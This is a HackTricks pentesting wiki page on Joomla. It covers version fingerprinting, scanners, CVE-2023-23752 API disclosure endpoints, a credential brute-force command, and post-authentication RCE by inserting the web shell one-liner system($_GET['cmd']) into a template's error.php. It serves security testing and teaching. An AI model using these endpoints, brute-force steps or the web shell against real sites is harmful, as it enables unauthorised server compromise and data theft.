--- title: "Joomla" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/pentesting-web/joomla.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/joomla.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # Joomla ### Joomla Statistics Joomla publishes opt-in anonymous usage statistics, including CMS, PHP, database, and operating-system distributions. The values below are only a historical response example; query the API for current data.[[2]](#references) ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool { "data": { "cms_version": { "3.0": 0, "3.1": 0, "3.10": 6.33, "3.2": 0.01, "3.3": 0.02, "3.4": 0.05, "3.5": 12.24, "3.6": 22.85, "3.7": 7.99, "3.8": 17.72, "3.9": 27.24, "4.0": 3.21, "4.1": 1.53, "4.2": 0.82, "4.3": 0, "5.0": 0 }, "total": 2951032 } } ``` ## Enumeration ### Discovery/Footprinting - Check the **meta** ```bash curl https://www.joomla.org/ | grep Joomla | grep generator ``` - robots.txt ```text # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file # MUST be moved to the site root # eg www.example.com/robots.txt # AND the joomla folder name MUST be prefixed to all of the # paths. [...] ``` - README.txt ```text 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org * Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### Version - In **/administrator/manifests/files/joomla.xml** you can see the version. - In **/language/en-GB/en-GB.xml** you can get the version of Joomla. - In **plugins/system/cache/cache.xml** you can see an approximate version. ### Automatic ```bash droopescan scan joomla --url http://joomla-site.local/ ``` In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](#cms-scanners) that can scan Joomla. ### API Unauthenticated Information Disclosure: Joomla 4.0.0 through 4.2.7 is affected by CVE-2023-23752, an improper API access check that can disclose configuration data. Exposure depends on the deployed configuration and accessible API routes; upgrade rather than relying on route filtering.[[3]](#references) - Users: `http:///api/v1/users?public=true` - Config File: `http:///api/index.php/v1/config/application?public=true` **MSF module:** `scanner/http/joomla_api_improper_access_checks`; Exploit-DB also preserves a Ruby proof of concept.[[4]](#references) ### Brute-Force The `joomla-bruteforce` script can perform bounded credential testing against the login.[[5]](#references) ```text sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin admin:admin ``` ## RCE If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**. 1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu. 2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page. 3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows: 1. **`system($_GET['cmd']);`** 4. **Save & Close** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` ## From XSS to RCE - **JoomSploit** documents chains that elevate XSS into RCE or other critical impact on supported Joomla 3.x through 5.x targets.[[1]](#references)[[6]](#references) It supports: - _**Privilege escalation:**_ Creates a user in Joomla. - _**(RCE) Built-in template edit:**_ Edits a built-in Joomla template. - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party Joomla Plugins. ## References - [1] [Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) - [2] [Joomla Developer Network — Usage Statistics API](https://developer.joomla.org/about/stats/api.html) - [3] [NVD — CVE-2023-23752](https://nvd.nist.gov/vuln/detail/CVE-2023-23752) - [4] [Exploit-DB 51334 — Joomla API unauthenticated information disclosure](https://www.exploit-db.com/exploits/51334) - [5] [ajnik/joomla-bruteforce](https://github.com/ajnik/joomla-bruteforce) - [6] [nowak0x01/JoomSploit](https://github.com/nowak0x01/JoomSploit)